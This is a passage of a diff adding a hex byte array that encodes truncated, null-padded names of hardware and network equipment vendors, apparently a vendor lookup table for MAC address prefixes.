0x74, 0x61, +0x45, 0x6e, 0x74, 0x65, 0x73, 0x45, 0x6c, 0x65, +0x47, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, +0x4d, 0x63, 0x73, 0x4c, 0x6f, 0x67, 0x69, 0x63, +0x4d, 0x6f, 0x6a, 0x69, 0x78, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6e, 0x68, 0x61, 0x74, 0x74, 0x61, +0x41, 0x6c, 0x62, 0x65, 0x6e, 0x74, 0x69, 0x61, +0x4c, 0x69, 0x6e, 0x65, 0x61, 0x67, 0x65, 0x50, +0x52, 0x6f, 0x73, 0x65, 0x6d, 0x61, 0x6e, 0x45, +0x53, 0x65, 0x67, 0x6e, 0x65, 0x74, 0x69, 0x63, +0x43, 0x6f, 0x6e, 0x6d, 0x65, 0x64, 0x4c, 0x69, +0x54, 0x68, 0x69, 0x6e, 0x6b, 0x77, 0x61, 0x72, +0x53, 0x77, 0x69, 0x73, 0x73, 0x64, 0x69, 0x73, +0x48, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x55, 0x76, 0x74, 0x55, 0x6e, 0x74, 0x65, 0x72, +0x47, 0x65, 0x6d, 0x61, 0x63, 0x47, 0x65, 0x73, +0x4c, 0x6f, 0x72, 0x65, 0x78, 0x54, 0x65, 0x63, +0x50, 0x68, 0x6f, 0x6e, 0x69, 0x6b, 0x49, 0x6e, +0x45, 0x6d, 0x68, 0x45, 0x6e, 0x65, 0x72, 0x67, +0x4b, 0x72, 0x6f, 0x6e, 0x62, 0x61, 0x63, 0x6b, +0x42, 0x65, 0x63, 0x6b, 0x77, 0x69, 0x74, 0x68, +0x44, 0x79, 0x6e, 0x61, 0x54, 0x65, 0x63, 0x68, +0x42, 0x6c, 0x61, 0x74, 0x61, 0x6e, 0x64, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x00, +0x54, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x43, 0x6f, +0x4a, 0x73, 0x63, 0x53, 0x74, 0x69, 0x6c, 0x73, +0x4a, 0x73, 0x63, 0x47, 0x6f, 0x6f, 0x64, 0x77, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x41, +0x50, 0x6c, 0x61, 0x6e, 0x61, 0x72, 0x4c, 0x6c, +0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x73, 0x73, +0x50, 0x69, 0x6e, 0x67, 0x6f, 0x6f, 0x64, 0x54, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x66, 0x6c, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x75, +0x42, 0x6f, 0x74, 0x69, 0x6b, 0x54, 0x65, 0x63, +0x58, 0x67, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x48, +0x54, 0x65, 0x72, 0x61, 0x76, 0x69, 0x65, 0x77, +0x45, 0x69, 0x67, 0x65, 0x6e, 0x44, 0x65, 0x76, +0x47, 0x69, 0x62, 0x61, 0x68, 0x6e, 0x4d, 0x65, +0x48, 0x65, 0x6f, 0x6c, 0x44, 0x65, 0x73, 0x69, +0x42, 0x6c, 0x75, 0x65, 0x46, 0x6f, 0x78, 0x50, +0x4c, 0x6f, 0x64, 0x61, 0x6d, 0x45, 0x6c, 0x65, +0x57, 0x69, 0x77, 0x69, 0x64, 0x65, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x65, 0x78, 0x69, +0x57, 0x69, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x6d, +0x50, 0x68, 0x61, 0x62, 0x72, 0x69, 0x78, 0x00, +0x4c, 0x75, 0x63, 0x61, 0x73, 0x42, 0x76, 0x00, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x53, 0x65, 0x6d, +0x54, 0x65, 0x6c, 0x65, 0x70, 0x6c, 0x61, 0x6e, +0x47, 0x69, 0x67, 0x6c, 0x65, 0x53, 0x65, 0x6d, +0x41, 0x70, 0x72, 0x69, 0x76, 0x61, 0x49, 0x73, +0x44, 0x69, 0x67, 0x65, 0x63, 0x6f, 0x72, 0x00, +0x53, 0x6b, 0x79, 0x64, 0x69, 0x67, 0x69, 0x74, +0x46, 0x6d, 0x73, 0x46, 0x6f, 0x72, 0x63, 0x65, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x69, 0x6f, +0x45, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x44, 0x69, +0x43, 0x61, 0x63, 0x68, 0x65, 0x49, 0x71, 0x00, +0x43, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x65, 0x75, +0x4d, 0x65, 0x74, 0x72, 0x69, 0x73, 0x55, 0x73, +0x44, 0x62, 0x73, 0x4c, 0x6f, 0x64, 0x67, 0x69, +0x58, 0x69, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00, +0x4c, 0x61, 0x73, 0x63, 0x61, 0x72, 0x45, 0x6c, +0x41, 0x70, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x42, 0x65, 0x72, 0x74, 0x61, 0x6e, 0x61, 0x53, +0x44, 0x61, 0x69, 0x69, 0x63, 0x68, 0x69, 0x2d, +0x53, 0x65, 0x72, 0x6f, 0x6e, 0x69, 0x63, 0x73, +0x50, 0x6f, 0x73, 0x62, 0x72, 0x6f, 0x00, 0x00, +0x4c, 0x65, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x31, 0x30, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x47, 0x74, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x72, 0x6f, 0x6e, 0x57, 0x6f, +0x42, 0x6c, 0x75, 0x65, 0x2d, 0x57, 0x68, 0x69, +0x53, 0x74, 0x69, 0x6c, 0x6f, 0x53, 0x72, 0x6c, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x45, 0x6e, 0x65, +0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x61, 0x44, +0x54, 0x61, 0x73, 0x65, 0x6f, 0x6e, 0x00, 0x00, +0x49, 0x53, 0x48, 0x69, 0x67, 0x68, 0x54, 0x65, +0x47, 0x6f, 0x6f, 0x64, 0x6d, 0x69, 0x6c, 0x6c, +0x42, 0x72, 0x6f, 0x77, 0x6e, 0x49, 0x6e, 0x6e, +0x42, 0x6c, 0x69, 0x63, 0x6b, 0x53, 0x6f, 0x75, +0x4e, 0x65, 0x78, 0x74, 0x69, 0x6f, 0x00, 0x00, +0x54, 0x69, 0x6d, 0x65, 0x69, 0x70, 0x73, 0x00, +0x53, 0x6f, 0x6e, 0x74, 0x68, 0x65, 0x69, 0x6d, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x68, 0x61, +0x49, 0x2f, 0x4f, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x43, 0x68, 0x69, 0x4c, 0x69, 0x6e, 0x54, 0x65, +0x57, 0x69, 0x6d, 0x61, 0x74, 0x65, 0x54, 0x65, +0x50, 0x61, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x42, 0x6f, 0x79, 0x6f, 0x75, 0x6e, 0x67, 0x54, +0x58, 0x65, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68, +0x45, 0x76, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00, +0x46, 0x75, 0x6c, 0x68, 0x75, 0x61, 0x4d, 0x69, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x45, +0x48, 0x61, 0x6e, 0x6c, 0x6f, 0x6e, 0x67, 0x54, +0x4a, 0x6f, 0x77, 0x54, 0x6f, 0x6e, 0x67, 0x54, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x79, 0x6e, +0x43, 0x61, 0x73, 0x69, 0x6f, 0x48, 0x69, 0x74, +0x55, 0x70, 0x2d, 0x54, 0x6f, 0x64, 0x61, 0x79, +0x4e, 0x69, 0x77, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x51, 0x74, 0x65, 0x63, 0x68, 0x4c, 0x6c, 0x63, +0x4d, 0x73, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4f, 0x70, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00, +0x52, 0x69, 0x76, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x34, 0x69, 0x70, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x72, 0x69, 0x73, +0x54, 0x65, 0x6c, 0x65, 0x72, 0x61, 0x64, 0x53, +0x41, 0x2d, 0x54, 0x72, 0x75, 0x73, 0x74, 0x43, +0x52, 0x73, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x53, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x53, 0x61, +0x47, 0x64, 0x69, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x45, 0x64, 0x67, 0x65, 0x76, 0x65, 0x6c, 0x6f, +0x49, 0x6e, 0x2d, 0x43, 0x69, 0x72, 0x63, 0x75, +0x41, 0x6c, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x00, +0x53, 0x69, 0x6d, 0x65, 0x74, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x72, 0x75, 0x73, 0x75, 0x67, 0x61, +0x50, 0x72, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x78, +0x54, 0x72, 0x69, 0x6f, 0x44, 0x61, 0x74, 0x61, +0x54, 0x65, 0x63, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x55, 0x62, 0x69, 0x73, 0x79, 0x73, 0x54, 0x65, +0x53, 0x68, 0x69, 0x6e, 0x73, 0x65, 0x69, 0x49, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x61, 0x72, +0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x78, 0x48, +0x56, 0x69, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x4d, 0x6f, 0x6e, +0x50, 0x73, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x49, +0x4e, 0x61, 0x6b, 0x61, 0x6a, 0x69, 0x6d, 0x61, +0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x65, 0x65, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x50, 0x61, 0x63, +0x52, 0x69, 0x63, 0x63, 0x69, 0x75, 0x73, 0x2b, +0x49, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x4d, 0x6f, +0x52, 0x65, 0x73, 0x70, 0x69, 0x72, 0x6f, 0x6e, +0x44, 0x73, 0x70, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x53, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x50, 0x6f, 0x77, +0x59, 0x61, 0x6d, 0x61, 0x74, 0x61, 0x6b, 0x65, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, +0x47, 0x61, 0x72, 0x72, 0x65, 0x74, 0x74, 0x43, +0x53, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x43, 0x6f, 0x6d, +0x50, 0x61, 0x63, 0x6b, 0x61, 0x72, 0x64, 0x42, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x2d, 0x43, +0x4f, 0x63, 0x74, 0x61, 0x67, 0x6f, 0x6e, 0x00, +0x41, 0x64, 0x61, 0x73, 0x74, 0x72, 0x61, 0x00, +0x43, 0x61, 0x72, 0x6c, 0x5a, 0x65, 0x69, 0x73, +0x4e, 0x73, 0x73, 0x6c, 0x67, 0x6c, 0x6f, 0x62, +0x45, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x73, 0x00, +0x4a, 0x65, 0x6f, 0x6c, 0x53, 0x79, 0x73, 0x74, +0x43, 0x61, 0x6e, 0x6f, 0x70, 0x75, 0x73, 0x00, +0x43, 0x61, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x41, 0x63, 0x74, 0x69, 0x73, 0x43, 0x6f, 0x6d, +0x53, 0x68, 0x6f, 0x77, 0x61, 0x45, 0x6c, 0x65, +0x4f, 0x72, 0x62, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x4f, 0x68, 0x6c, 0x65, 0x72, 0x00, 0x00, 0x00, +0x45, 0x78, 0x63, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x4b, 0x61, 0x74, 0x61, 0x6e, 0x61, 0x50, 0x72, +0x4e, 0x65, 0x74, 0x71, 0x75, 0x65, 0x73, 0x74, +0x42, 0x65, 0x73, 0x74, 0x50, 0x6f, 0x77, 0x65, +0x4d, 0x65, 0x67, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x41, 0x6c, 0x67, 0x6f, 0x72, 0x69, 0x74, 0x68, +0x4e, 0x6d, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x54, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x43, +0x41, 0x6d, 0x6b, 0x6c, 0x79, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6e, 0x67, 0x46, 0x6f, 0x72, 0x74, +0x57, 0x65, 0x73, 0x74, 0x45, 0x67, 0x67, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x70, 0x72, 0x6f, 0x63, +0x4e, 0x56, 0x44, 0x7a, 0x69, 0x6e, 0x65, 0x00, +0x41, 0x74, 0x6d, 0x6c, 0x41, 0x64, 0x76, 0x61, +0x57, 0x65, 0x6c, 0x6c, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x61, 0x69, 0x79, 0x6f, 0x00, 0x00, 0x00, +0x44, 0x61, 0x79, 0x73, 0x74, 0x61, 0x72, 0x44, +0x5a, 0x65, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x44, 0x69, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x54, +0x53, 0x79, 0x6e, 0x61, 0x70, 0x73, 0x65, 0x54, +0x52, 0x6f, 0x74, 0x65, 0x63, 0x49, 0x6e, 0x64, +0x49, 0x62, 0x6d, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x42, 0x6d, 0x63, 0x53, 0x6f, 0x66, 0x74, 0x77, +0x56, 0x6d, 0x65, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x53, 0x63, 0x69, 0x6e, 0x65, 0x74, 0x73, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x42, +0x57, 0x69, 0x73, 0x64, 0x6d, 0x00, 0x00, 0x00, +0x45, 0x75, 0x72, 0x6f, 0x74, 0x69, 0x6d, 0x65, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6e, 0x54, +0x4a, 0x75, 0x6b, 0x69, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x4e, 0x65, 0x74, 0x00, +0x44, 0x61, 0x74, 0x61, 0x6d, 0x65, 0x74, 0x72, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x68, +0x49, 0x6f, 0x6e, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x43, 0x69, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x00, +0x53, 0x74, 0x65, 0x69, 0x6e, 0x62, 0x72, 0x65, +0x46, 0x6f, 0x72, 0x65, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x50, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x63, 0x6f, 0x6d, 0x70, +0x4d, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x43, 0x6f, +0x49, 0x6e, 0x6f, 0x76, 0x69, 0x73, 0x00, 0x00, +0x44, 0x65, 0x75, 0x74, 0x73, 0x63, 0x68, 0x65, +0x56, 0x65, 0x72, 0x69, 0x6c, 0x69, 0x6e, 0x6b, +0x52, 0x61, 0x67, 0x75, 0x6c, 0x61, 0x00, 0x00, +0x48, 0x75, 0x6e, 0x74, 0x73, 0x76, 0x69, 0x6c, +0x53, 0x79, 0x63, 0x61, 0x6d, 0x6f, 0x72, 0x65, +0x41, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x4e, 0x65, 0x6f, 0x70, 0x72, 0x6f, 0x64, 0x75, +0x54, 0x69, 0x74, 0x7a, 0x65, 0x44, 0x61, 0x74, +0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x53, 0x69, +0x4d, 0x69, 0x72, 0x6f, 0x43, 0x6f, 0x6d, 0x70, +0x4b, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x78, 0x4c, +0x4e, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x74, 0x69, +0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x52, 0x6f, +0x47, 0x61, 0x6d, 0x6d, 0x61, 0x64, 0x61, 0x74, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x49, +0x44, 0x79, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68, +0x53, 0x63, 0x6f, 0x72, 0x70, 0x69, 0x6f, 0x6e, +0x57, 0x69, 0x70, 0x72, 0x6f, 0x49, 0x6e, 0x66, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x4d, 0x69, +0x49, 0x73, 0x64, 0x79, 0x6e, 0x65, 0x00, 0x00, +0x49, 0x73, 0x64, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x73, 0x61, 0x6b, 0x61, 0x43, 0x6f, 0x6d, +0x4b, 0x6f, 0x6e, 0x69, 0x63, 0x61, 0x4d, 0x69, +0x45, 0x76, 0x65, 0x72, 0x67, 0x72, 0x65, 0x65, +0x44, 0x61, 0x74, 0x61, 0x52, 0x61, 0x63, 0x65, +0x58, 0x61, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, +0x46, 0x6c, 0x6f, 0x77, 0x70, 0x6f, 0x69, 0x6e, +0x48, 0x79, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x49, 0x62, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x69, 0x6e, 0x6b, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x67, 0x77, 0x6f, 0x6f, 0x6e, +0x52, 0x65, 0x75, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x4b, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x73, 0x00, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x57, 0x69, 0x73, 0x65, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x75, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x46, 0x69, 0x6e, 0x65, 0x63, 0x6f, 0x6d, 0x00, +0x4b, 0x79, 0x6f, 0x65, 0x69, 0x53, 0x61, 0x6e, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x55, +0x4f, 0x6e, 0x65, 0x61, 0x63, 0x00, 0x00, 0x00, +0x50, 0x72, 0x65, 0x73, 0x74, 0x69, 0x63, 0x6f, +0x4f, 0x63, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x74, +0x4d, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x54, 0x33, 0x70, 0x6c, 0x75, 0x73, 0x4e, 0x65, +0x53, 0x6f, 0x6e, 0x69, 0x78, 0x43, 0x6f, 0x6d, +0x4c, 0x61, 0x70, 0x69, 0x73, 0x54, 0x65, 0x63, +0x47, 0x61, 0x6c, 0x61, 0x78, 0x79, 0x4e, 0x65, +0x43, 0x6d, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x68, 0x65, 0x76, 0x69, 0x6e, 0x53, 0x6f, +0x4a, 0x31, 0x32, 0x35, 0x4e, 0x61, 0x74, 0x69, +0x43, 0x68, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x67, +0x4c, 0x61, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x73, +0x43, 0x75, 0x62, 0x69, 0x78, 0x00, 0x00, 0x00, +0x52, 0x69, 0x76, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x73, 0x79, 0x73, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x53, +0x33, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x72, 0x73, 0x61, 0x74, 0x45, 0x6c, 0x65, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x41, +0x4c, 0x69, 0x70, 0x70, 0x65, 0x72, 0x74, 0x41, +0x42, 0x72, 0x6f, 0x77, 0x6e, 0x53, 0x4f, 0x70, +0x4d, 0x65, 0x72, 0x63, 0x75, 0x72, 0x79, 0x43, +0x4f, 0x61, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, +0x44, 0x6f, 0x76, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x47, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x4e, 0x65, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6f, 0x69, +0x41, 0x70, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x50, 0x72, 0x6f, 0x78, 0x69, 0x6d, 0x00, 0x00, +0x50, 0x61, 0x69, 0x72, 0x67, 0x61, 0x69, 0x6e, +0x53, 0x61, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68, +0x57, 0x68, 0x69, 0x74, 0x65, 0x48, 0x6f, 0x72, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x49, 0x6e, 0x64, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x66, 0x6c, 0x65, +0x4c, 0x69, 0x6e, 0x71, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x72, 0x6e, 0x65, 0x74, 0x44, 0x61, 0x74, +0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x44, +0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x52, +0x47, 0x6b, 0x64, 0x47, 0x65, 0x73, 0x65, 0x6c, +0x54, 0x65, 0x72, 0x6d, 0x61, 0x45, 0x6c, 0x65, +0x59, 0x61, 0x73, 0x6b, 0x61, 0x77, 0x61, 0x45, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x4e, 0x65, 0x74, +0x4e, 0x61, 0x6d, 0x61, 0x71, 0x75, 0x61, 0x43, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x4f, 0x70, 0x74, +0x4d, 0x65, 0x74, 0x72, 0x69, 0x63, 0x6f, 0x6d, +0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x46, 0x6f, +0x5a, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x6e, 0x67, 0x52, 0x65, 0x61, 0x63, +0x4e, 0x69, 0x6f, 0x62, 0x72, 0x61, 0x72, 0x61, +0x4c, 0x61, 0x6e, 0x41, 0x63, 0x63, 0x65, 0x73, +0x41, 0x65, 0x68, 0x72, 0x54, 0x65, 0x73, 0x74, +0x50, 0x75, 0x6c, 0x73, 0x65, 0x45, 0x6c, 0x65, +0x54, 0x65, 0x78, 0x61, 0x73, 0x4d, 0x65, 0x6d, +0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x53, +0x49, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00, +0x45, 0x61, 0x67, 0x6c, 0x65, 0x4e, 0x65, 0x32, +0x4e, 0x65, 0x63, 0x74, 0x65, 0x63, 0x00, 0x00, +0x41, 0x6b, 0x61, 0x69, 0x50, 0x72, 0x6f, 0x66, +0x4c, 0x61, 0x72, 0x73, 0x63, 0x6f, 0x6d, 0x00, +0x56, 0x69, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x42, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4f, +0x50, 0x72, 0x65, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x48, 0x79, 0x62, 0x72, 0x69, 0x64, 0x4e, 0x65, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6c, 0x44, +0x54, 0x65, 0x73, 0x74, 0x4d, 0x65, 0x61, 0x73, +0x56, 0x65, 0x72, 0x73, 0x61, 0x6c, 0x79, 0x6e, +0x52, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x43, +0x4f, 0x73, 0x74, 0x4f, 0x75, 0x65, 0x74, 0x53, +0x56, 0x69, 0x70, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4d, 0x69, 0x6e, +0x44, 0x65, 0x6e, 0x73, 0x69, 0x74, 0x72, 0x6f, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x44, 0x69, 0x67, +0x4b, 0x79, 0x6f, 0x73, 0x61, 0x6e, 0x45, 0x6c, +0x41, 0x6c, 0x61, 0x6d, 0x61, 0x72, 0x45, 0x6c, +0x4d, 0x63, 0x64, 0x4b, 0x65, 0x6e, 0x63, 0x6f, +0x48, 0x73, 0x69, 0x6e, 0x67, 0x54, 0x65, 0x63, +0x41, 0x70, 0x65, 0x78, 0x44, 0x61, 0x74, 0x61, +0x4c, 0x69, 0x64, 0x6b, 0x6f, 0x70, 0x69, 0x6e, +0x42, 0x26, 0x57, 0x4e, 0x75, 0x63, 0x6c, 0x65, +0x44, 0x61, 0x74, 0x61, 0x74, 0x72, 0x65, 0x6b, +0x44, 0x61, 0x6e, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x45, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6e, +0x43, 0x69, 0x6e, 0x63, 0x69, 0x6e, 0x6e, 0x61, +0x54, 0x65, 0x63, 0x68, 0x77, 0x61, 0x72, 0x65, +0x47, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, 0x00, +0x55, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x74, 0x6f, 0x73, 0x49, 0x6e, 0x64, +0x52, 0x61, 0x79, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x69, 0x78, +0x50, 0x61, 0x6e, 0x64, 0x61, 0x74, 0x65, 0x6c, +0x4e, 0x65, 0x74, 0x54, 0x65, 0x6b, 0x4b, 0x61, +0x43, 0x79, 0x62, 0x65, 0x72, 0x64, 0x61, 0x74, +0x43, 0x61, 0x72, 0x72, 0x65, 0x72, 0x61, 0x43, +0x50, 0x61, 0x72, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x47, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x63, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d, +0x4d, 0x61, 0x74, 0x72, 0x6f, 0x78, 0x00, 0x00, +0x49, 0x74, 0x76, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x54, 0x6f, 0x70, 0x77, 0x61, 0x72, 0x65, 0x2f, +0x41, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x63, 0x69, +0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x6c, 0x6f, +0x47, 0x68, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x47, 0x69, 0x67, 0x61, 0x73, 0x65, 0x74, 0x43, +0x52, 0x69, 0x6d, 0x54, 0x65, 0x73, 0x74, 0x69, +0x53, 0x65, 0x6f, 0x77, 0x6f, 0x6e, 0x69, 0x6e, +0x42, 0x79, 0x64, 0x3a, 0x53, 0x69, 0x67, 0x6e, +0x47, 0x65, 0x6d, 0x69, 0x6e, 0x69, 0x54, 0x72, +0x43, 0x79, 0x6d, 0x74, 0x65, 0x63, 0x00, 0x00, +0x53, 0x61, 0x6d, 0x73, 0x69, 0x6e, 0x49, 0x6e, +0x4f, 0x72, 0x70, 0x61, 0x6b, 0x4c, 0x54, 0x44, +0x43, 0x65, 0x72, 0x6e, 0x69, 0x75, 0x6d, 0x00, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x62, 0x6f, 0x78, +0x55, 0x6e, 0x69, 0x70, 0x68, 0x6f, 0x6e, 0x65, +0x57, 0x69, 0x73, 0x63, 0x6f, 0x6d, 0x53, 0x79, +0x50, 0x61, 0x64, 0x74, 0x65, 0x63, 0x00, 0x00, +0x48, 0x79, 0x6c, 0x61, 0x62, 0x54, 0x65, 0x63, +0x50, 0x68, 0x79, 0x77, 0x65, 0x53, 0x79, 0x73, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x6f, 0x6e, +0x54, 0x65, 0x6c, 0x6c, 0x6f, 